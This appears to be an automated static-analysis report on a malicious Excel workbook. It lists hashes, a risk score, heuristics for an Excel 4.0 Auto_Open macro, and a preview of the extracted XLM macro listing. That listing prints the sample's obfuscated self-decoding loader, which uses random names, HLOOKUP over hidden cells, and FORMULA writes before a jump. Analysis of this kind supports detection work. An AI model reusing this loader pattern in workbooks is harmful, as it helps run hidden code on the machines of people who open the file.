Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ed919bba84a9ab36…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:45:25 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 178dca8de456b1cfd2c4bc4f62660994 SHA-1: d6063b4f1be930a9514bd09e09dccbd2d81c479c SHA-256: ed919bba84a9ab365c5c64444be4803af3405f95beb99b5aba98fa1606f24a25
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6477 bytes
SHA-256: 7a11c4c7ac1e8fd28f3c149d081060878ba7dbf443d311a2bbb5afeeea71886b
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  LflSp
' 0018     21 LABEL : Cell Value, String Constant - aTDTGq len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I167 
' 0018     24 LABEL : Cell Value, String Constant - BdpKAGUmz len=0 
' 0018     27 LABEL : Cell Value, String Constant - ByysOTTyEgoL len=0 
' 0018     23 LABEL : Cell Value, String Constant - hIAShWOH len=0 
' 0018     25 LABEL : Cell Value, String Constant - ItHtkyafpY len=0 
' 0018     20 LABEL : Cell Value, String Constant - iyGGl len=0 
' 0018     23 LABEL : Cell Value, String Constant - jRHxqNiy len=0 
' 0018     26 LABEL : Cell Value, String Constant - KwBlKzuoLLm len=0 
' 0018     23 LABEL : Cell Value, String Constant - MHSxxiVx len=0 
' 0018     20 LABEL : Cell Value, String Constant - mHXGM len=0 
' 0018     27 LABEL : Cell Value, String Constant - ofmptlpEOHoF len=0 
' 0018     21 LABEL : Cell Value, String Constant - pRbhmq len=0 
' 0018     24 LABEL : Cell Value, String Constant - qLHsATBie len=0 
' 0018     20 LABEL : Cell Value, String Constant - Talsi len=0 
' 0018     24 LABEL : Cell Value, String Constant - vqyMPxMJX len=0 
' 0018     20 LABEL : Cell Value, String Constant - wKBHd len=0 
' 0018     20 LABEL : Cell Value, String Constant - Wkozt len=0 
' 0018     23 LABEL : Cell Value, String Constant - xDwGKTGY len=0 
' 0018     27 LABEL : Cell Value, String Constant - XSEDNtJkIUgs len=0 
' 0018     25 LABEL : Cell Value, String Constant - zbnbEkjtZS len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  LflSp,I82,"SET.NAME("wKBHd",VALUE("0"))",""
'  LflSp,I84,"SET.NAME("mHXGM",wKBHd)",""
'  LflSp,I87,"SET.NAME("ItHtkyafpY",wKBHd)",""
'  LflSp,I91,"SET.NAME("pRbhmq",COUNTA(iyGGl))",""
'  LflSp,I95,"SET.NAME("xDwGKTGY",COUNTA(ByysOTTyEgoL))",""
'  LflSp,I100,[],""
'  LflSp,I102,"SET.NAME("MHSxxiVx","")",""
'  LflSp,I107,"mHXGM",""
'  LflSp,I111,"SET.NAME("BdpKAGUmz",HLOOKUP("*",iyGGl,mHXGM,FALSE))",""
'  LflSp,I116,"zbnbEkjtZS",""
'  LflSp,I118,"SET.NAME("KwBlKzuoLLm",wKBHd)",""
'  LflSp,I120,[],""
'  LflSp,I123,"KwBlKzuoLLm",""
'  LflSp,I126,"hIAShWOH",""
'  LflSp,I128,"vqyMPxMJX",""
'  LflSp,I131,"XSEDNtJkIUgs",""
'  LflSp,I134,"SET.NAME("Talsi",VALUE(HLOOKUP("*",ByysOTTyEgoL,XSEDNtJkIUgs,FALSE)))",""
'  LflSp,I136,"aTDTGq",""
'  LflSp,I140,"MHSxxiVx",""
'  LflSp,I143,"ItHtkyafpY",""
'  LflSp,I146,NEXT(),""
'  LflSp,I151,"Wkozt",""
'  LflSp,I154,"SET.NAME("f",INT(T(FORMULA(T(MHSxxiVx)&"",""&T(Wkozt)))))",""
'  LflSp,I156,"ofmptlpEOHoF",""
'  LflSp,I160,NEXT(),""
'  LflSp,I165,RETURN(),""
'  LflSp,I197,"SET.NAME("jRHxqNiy",I82)",""
'  LflSp,I202,"iyGGl",""
'  LflSp,I205,"SET.NAME("ByysOTTyEgoL",R48C14)",""
'  LflSp,I210,"SET.NAME("ofmptlpEOHoF",216)",""
'  LflSp,I213,"SET.NAME("qLHsATBie",9)",""
'  LflSp,I215,jRHxqNiy(),""
'  LflSp,I216,HALT(),""

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